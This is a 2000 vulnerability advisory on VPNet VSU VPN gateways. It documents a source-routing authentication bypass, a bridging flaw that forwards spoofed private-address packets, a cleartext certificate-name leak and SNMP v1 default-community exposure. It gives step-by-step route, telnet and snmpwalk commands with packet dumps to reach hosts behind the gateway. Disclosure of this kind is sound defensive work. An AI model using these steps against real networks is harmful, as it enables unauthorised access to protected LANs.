-----------------.---------------------------------------------. /| | . | / | : : : : : : | | | :: ------ :: : :: | :: - |----- | | :: : :: . : | | :: : | | | : . |------| | : | | | ------^ : | / | . | ;----------"---------------^------ / ------'--------------------- | / / / /----' / / |'----------'---------------'------' --------'---------------------' www.f8labs.com [ INTRODUCTION ] Advisory .........: VPNet Technologies - Problems in all VSU VPN Service Units 1. Source routing flaw in VSU allows for unauthenticated connections to a target host on protected LAN of VPN. 2. Flaw in NOS bridging code causes VSU to pass spoofed private address packets from it's public interface to the private network. Release Date .....: 12-05-00 Application ......: VPN Service Units (VSU) Vendor Web Site ..: www.vpnet.com (vpnet bad cow) Versions Affected.: All VSUs VSU-100 VSU-2000 VSU-5000 VSU-7500 And all versions of the VPNRemote Software < = 3.0.20 Vendor Status ....: Contacted / Patched NOS available for download WWW ..............: www.fatelabs.com [ OVERVIEW ] VPNRemote Software VPNremote is a Windows® compatible software product that provides secure authenticated access to enterprise network resources and applications over the Internet. As a building block of the VPNware System, VPNremote enables enterprises to leverage the global access and low cost of public networks for their remote access users. Using standards-based IPSec technology, VPNremote extends the integrity and confidentiality of data traveling outside of enterprise networks by providing encryption, compression, and authentication. VPNware™ VPN Service Units (VSUs) VSU's are dedicated, hardware-based VPN gateways that enable secure data communications over public IP networks such as the Internet. As a building block of the VPNware System, VSUs provide standards-based IPSec services that enable organizations to securely connect remote users, branch offices, partners, and customers to enterprise networks. VSUs provide unmatched levels of performance, manageability, and security that allow organizations of all sizes to take full advantage of the cost savings, productivity, and business relationship-enhancing benefits of virtual private networks. VSUs give you the confidence to run your business-critical data and applications across public IP networks. How? By delivering IPSec 3DES encryption, data integrity and authentication, and key management. VSUs support a range of two-factor user authentication methods -- RADIUS servers, RSA SecurID™ tokens, SmartCards, and digital certificates -- so you can be sure of who's accessing your VPN. All VSUs offer additional robustness via resilient VPN tunneling. VSUs continually sense endpoint availability and automatically transition tunnels to a secondary VSU in the event of a data link failure. The VSU-7500 offers an additional level of fault tolerance by providing high-availability hardware features such as redundant Ethernet interfaces, IPSec processors, power supplies, and cooling fans. The complete VSU series are delivered in tamper-evident enclosures that meet the FIPS 140-1 Level 2 standard. [ ADVISORY ] PROBLEM 1a: Remote Attack By sending SOURCE ROUTED packets to the target VSU, it is possible to force the VSU to forward unauthorized traffic from the public interface on the VSU to any host on the protected network. This is done WITHOUT exchanging keys, without providing a username/pass, or any other authentication at all. It is a design-flaw in the VSU NOS where the TCP stack accepts and forwards SOURCE ROUTED packets. In the beginning, we noticed that the VSU would forward ICMP packets to its private NIC. We then wanted to see if it would forward ICMP packets to a host on the protected (priv) network. Our theory was correct. Wanting to take this vulnerability further, we wanted to see if it would also forward TCP packets to the target host on the private network. Our theory again, was correct. While demonstrating the exploit we wanted to put the VSU in full blocking mode, which forces the VSU to drop all incoming connections accept authorized VPN traffic. However, to our surprise, we were still able to get both ICMP and TCP packets to the remote target host behind the VSU. Wanting to see if we could create actual telnet sessions with the remote host, we used source routing and were amazed to find that it could be done. The remote host was sending and routing packets back to our machine while configured in full blocking mode. Refer to Appendix B to review what was done to the target machine, as well as packets we grabbed with a sniffer running on the target host. PROBLEM 1b: Local Attack By adding an IP alias to the NIC card of the SOURCE HOST, an IP belonging to the same segment of the private network on the VSU, it is possible to bridge sessions THROUGH the VSU to a host on the private network. This attack is possible due to a flaw in the bridging code for the VSU's NOS. 1. Add an IP alias to the NIC of the SOURCE HOST, e.g. 192.168.0.5 2. Add the necessary routes: [root@moo /]# route add -net 192.168.0.0/16 gw 192.168.0.5 3. Check connectivity: [root@moo /]# ping 192.168.0.3 PING 192.168.0.3 (192.168.0.3) from 192.168.0.5 : 56(84) bytes of data. 64 bytes from 192.168.0.3: icmp_seq=0 ttl=255 time=0.7 ms 64 bytes from 192.168.0.3: icmp_seq=1 ttl=255 time=0.6 ms 64 bytes from 192.168.0.3: icmp_seq=2 ttl=255 time=0.6 ms --- 192.168.0.3 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.6/0.6/0.7 ms /* Eww la la */ [root@moo /]# PROBLEM 2: VPNet has a VPN client called VPNRemote, which uses SSL encryption to negotiate connections with the VSU. However, the VSU responds back in clear text containing the VSU Certificate name, as well as the company address and location. This Certificate name is used prior to connecting to the VSU and required before starting the authentication process. So this of course is the missing key in being able to start a brute force session against the VSU or even open a connection. We have provided simple steps in receiving this for a further attack on the VSU in APPENDIX A. See below. PROBLEM 3: Our team would like to place emphasis on the fact that VPNet devices utilize SNMP v1. Since it's inception, problems in clear text and numerous other problems associated with v1 have caused its developers to create version2 and now 3. Because of the inherent security problems with v1 of SNMP, it is advised that administrators disable it where possible until VPNet upgrades it's NOS to support v2 or 3. See APPENDIX C for SNMP packet traces. By brute forcing the community string on the VSU's (default set to PUBLIC), it is possible to utilize the read-only information from SNMP to retrieve the private IP network information of the target VSU. This is the preliminary information needed in the source-routed attack on the vsu. Such SNMP information will provide IP information of the protected segment in the VPN. [ CONCLUSION ] SOURCE ROUTE ISSUES: VPNet has responded to the source-routed sessions issue and has created a patch for the NOS. However, VPNet does not wish to have this patch available to the public domain, rather, built into the next release of 3.X. Fate Research Labs is astonished by VPNet's response and recommend that users take an immediate course of action to protect their networks against this attack. We suggest proper network topology design through the use of a Firewall as well as ensuring that the DMZ is configured as a leg off the Firewall so that the local exploit above can not be performed. Verify proper firewall rules and ensure that the firewall denies off all incoming connections accept that of required by the IKE negotiations and VPN traffic to the VSU. Source code has been created by Fate Research for use in a remote attack outside of a lab environment, however, due to the severity of this attack we have published a broken version of the program, which can be found at http://www.fatelabs.com for proof of concept. However, we recommend demonstrating this attack through the local attack outlined above, (a lot less headache). BRIDGING MODE ISSUES: VPNet has been notified of these bridging issues. It is an inherent design flaw in their NOS that bridges over incoming packets containing a SOURCE IP of the VSU's private network. No patch or resolution has been made or identified as of this writing. VPNet has also been made aware of the other issues surrounding this advisory. They have patched them in their next NOS release. Fate Research Labs has tested their patch against our attack and it proves to be a successful fix. We do however recommend that users contact their local VPNet office and complain about their ridiculous notion to not make this patch readily available to its customers. The VPNet web site is listed in the Resources section of this advisory. [ APPENDIX ] APPENDIX A: Go ahead and install the windows-based VPN client that VPNet provides. Setup a new profile and put in any text you wish for all of the required fields. After this you will want to put in the IP address of the target VSU. Go ahead and attempt your connection with a sniffer running in the background. You should receive something similar to the following. ---------------------------- snip --------------------------------- No: 9 MAC source address: 18:43:11:270 MAC dest address: 00 D0 06 B7 DC 54 Frame: 00 00 21 EC 69 B0 Protocol: IP Source IP address: TCP Dest IP address: XXX.XXX.XXX.XXX Source port: XXx.XXX.XXX.XXX Destination port: 1443 SEQ: 3511 ACK: 2092418050 Packet size: 82361859 Packet data: 0000: 00 00 21 EC 69 B0 00 D0 06 B7 DC 54 08 00 45 00 ..!.i......T..E. 0010: 02 28 24 C1 00 00 32 06 66 95 40 A2 81 0B 18 E5 .($...2.f.@..... 0020: 20 E8 05 A3 0D B7 7C B7 C4 02 04 E8 BE 03 50 10 .....|.......P. 0030: 10 00 2B C2 00 00 16 03 00 00 4A 02 00 00 46 03 ..+.......J...F. 0040: 00 3A 01 99 8B 4D BA FC DD 02 CE BA 30 04 8D 9B .:...M......0... 0050: F7 2E 5F F8 32 06 01 B3 D6 E0 03 79 F5 20 07 B9 .._.2......y. .. 0060: E0 20 ED 8A A7 46 96 88 D4 EC D1 44 0E 00 92 10 . ...F.....D.... 0070: 9B DA 94 F1 7C 65 36 B3 E0 C0 8E 9D 93 BB 41 6D ....|e6.......Am 0080: 33 B9 00 04 00 16 03 00 02 48 0B 00 02 44 00 02 3........H...D.. 0090: 41 00 02 3E 30 82 02 3A 30 82 01 A3 02 02 20 61 A..>0..:0..... a 00A0: 30 0D 06 09 2A 86 48 86 F7 0D 01 01 04 05 00 30 0...*.H........0 00B0: 67 31 0B 30 09 06 03 55 04 06 13 02 55 53 31 0B g1.0...U....US1. 00C0: 30 09 06 03 55 04 08 13 02 43 41 31 11 30 0F 06 0...U....CA1.0.. 00D0: 03 55 04 07 13 08 53 61 6E 20 4A 6F 73 65 31 21 .U....San Jose1! 00E0: 30 1F 06 03 55 04 0A 13 18 56 50 4E 65 74 20 54 0...U....VPNet T 00F0: 65 63 68 6E 6F 6C 6F 67 69 65 73 2C 20 49 6E 63 echnologies, Inc 0100: 2E 31 15 30 13 06 03 55 04 03 14 0C 56 50 4E 65 .1.0...U....VPNe 0110: 74 43 41 5F 37 5F 39 38 30 1E 17 0D 39 39 31 30 tCA_7_980...9910 0120: 32 32 30 33 33 31 33 33 5A 17 0D 30 39 31 30 31 22033133Z..09101 0130: 39 30 33 33 31 33 33 5A 30 63 31 0B 30 09 06 03 9033133Z0c1.0... 0140: 55 04 06 13 02 55 53 31 0B 30 09 06 03 55 04 08 U....US1.0...U.. 0150: 13 02 43 41 31 11 30 0F 06 03 55 04 07 13 08 53 ..CA1.0...U....S 0160: 61 6E 20 4A 6F 73 65 31 21 30 1F 06 03 55 04 0A an Jose1!0...U.. 0170: 13 18 56 50 4E 65 74 20 54 65 63 68 6E 6F 6C 6F ..VPNet Technolo 0180: 67 69 65 73 2C 20 49 6E 63 2E 31 11 30 0F 06 03 gies, Inc.1.0... 0190: 55 04 03 13 08 56 53 55 31 30 37 38 37 30 81 9F U....VSU107870.. /* <--- /* Here we have the valid certificate name */ ------ ^^^^^^^^^ 01A0: 30 0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 0...*.H......... 01B0: 81 8D 00 30 81 89 02 81 81 00 EA 90 9D A9 04 17 ...0............ 01C0: 81 F7 21 39 7A 1C 68 9B 14 D4 74 E4 79 89 B8 B1 ..!9z.h...t.y... 01D0: ED 0E 1C 4D 30 06 AC 5F 9B F0 43 FE 75 9B 6D B2 ...M0.._..C.u.m. 01E0: 69 80 9B 20 3E 0D D4 EE 4A FC 01 D5 45 66 04 80 i.. >...J...Ef.. 01F0: 91 E3 7A CD A2 75 81 DD ED CF A7 D2 EF 49 DE D7 ..z..u.......I.. 0200: 09 6A 32 1B 9A 33 36 FE 14 83 8E EA 10 A6 0B 54 .j2..36........T 0210: 01 33 71 7D 9C C2 E1 9E B4 CC 50 94 E9 B0 F3 E1 .3q}......P..... 0220: 87 46 78 73 5B 4E 5E 60 CC 01 C8 C1 02 95 4D 1A .Fxs[N^`......M. 0230: 98 6E 81 FF A4 04 .n.... ---------------------------- snap --------------------------------- APPENDIX B: The below diagram was performed in a lab setup. There was no Internet connectivity in the scenario. The exploit however has been successfully performed across the Internet using SOURCE ROUTED sessions. ---- 192.168.1.1 192.168.1.2/192.168.2.1 192.168.2.2 ---- | \/ | ------ | \/ | | /\ | ------------------> | | ----------------------------> | /\ | ---- ------ ---- ROUTER A VSU ROUTER B # telnet 192.16.8.2.2 /route: 192.168.1.2 # On a Windows Box: 1. Added IP alias to NIC Card, 192.168.2.3 2. Added a route: C:\> route add 192.168.2.0 MASK 255.255.255.0 192.168.1.2 ^ priv nic net ^ class C ^ pub nic of vsu 3. C:\>ping 192.168.2.2 Pinging 192.168.2.2 with 32 bytes of data: Reply from 192.168.2.2: bytes=32 time<10ms TTL=255 Reply from 192.168.2.2: bytes=32 time<10ms TTL=255 Reply from 192.168.2.2: bytes=32 time<10ms TTL=255 Reply from 192.168.2.2: bytes=32 time<10ms TTL=255 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms 4. C:\> telnet 192.168.2.2 Red Hat Linux release 6.2 (Zoot) Kernel 2.2.14-5.0 on an i586 login: ---------------------------- snip --------------------------------- APPENDIX C: loki.f8labs.com > ./snmpwalk -c public -d /* The -c 'public' is a switch used to specify the SNMP community string */ Received 59 bytes from XXX.XXX.XXX.XXX:161 0000: 30 82 00 37 02 01 00 04 07 62 6C 75 65 73 6B 79 0..7.....public 0016: A2 82 00 27 02 04 06 8E 2B 8E 02 01 00 02 01 00 ¢..'....+....... 0032: 30 82 00 17 30 82 00 13 06 0E 2B 06 01 02 01 07 0...0.....+..... 0048: 05 01 02 00 00 00 00 00 02 01 00 ........... udp.udpTable.udpEntry.udpLocalPort.0.0.0.0.0 = 0 /* Here you will see we received it back in clear text from the VSU-moo. */ Received 200 bytes from 64.162.129.11:161 0000: 30 82 00 C4 02 01 00 04 07 62 6C 75 65 73 6B 79 0..Ä.....public 0016: A2 82 00 B4 02 04 65 BD 3B 82 02 01 00 02 01 00 ¢..´..e½;....... 0032: 30 82 00 A4 30 82 00 A0 06 08 2B 06 01 02 01 01 0..¤0.....+..... 0048: 01 00 04 81 93 56 50 4E 65 74 20 53 65 72 76 69 .....VPNet Servi 0064: 63 65 20 55 6E 69 74 20 4D 6F 64 65 6C 20 30 30 ce Unit Model 00 0080: 31 30 28 41 64 76 61 6E 63 65 64 29 20 33 44 45 10(Advanced) 3DE 0096: 53 20 45 4E 43 52 59 50 54 49 4F 4E 20 20 28 53 S ENCRYPTION (S 0112: 74 61 6E 64 61 72 64 29 2C 20 52 75 6E 74 69 6D tandard), Runtim 0128: 65 20 73 79 73 74 65 6D 20 76 65 72 73 69 6F 6E e system version 0144: 20 33 2E 30 2E 35 30 20 31 30 2F 35 2F 32 30 30 3.0.50 10/5/200 0160: 30 20 2C 20 52 75 6E 74 69 6D 65 20 6C 6F 61 64 0 , Runtime load 0176: 65 72 20 76 65 72 73 69 6F 6E 20 32 2E 30 61 20 er version 2.0a 0192: 33 2F 37 2F 32 30 30 30 3/7/2000 ---------------------------- snap --------------------------------- [ RESOURCES ] ucd-snmp http://net-snmp.sourceforge.net VPNet Technologies http://www.vpnet.com Fate Research Labs http://www.fatelabs.com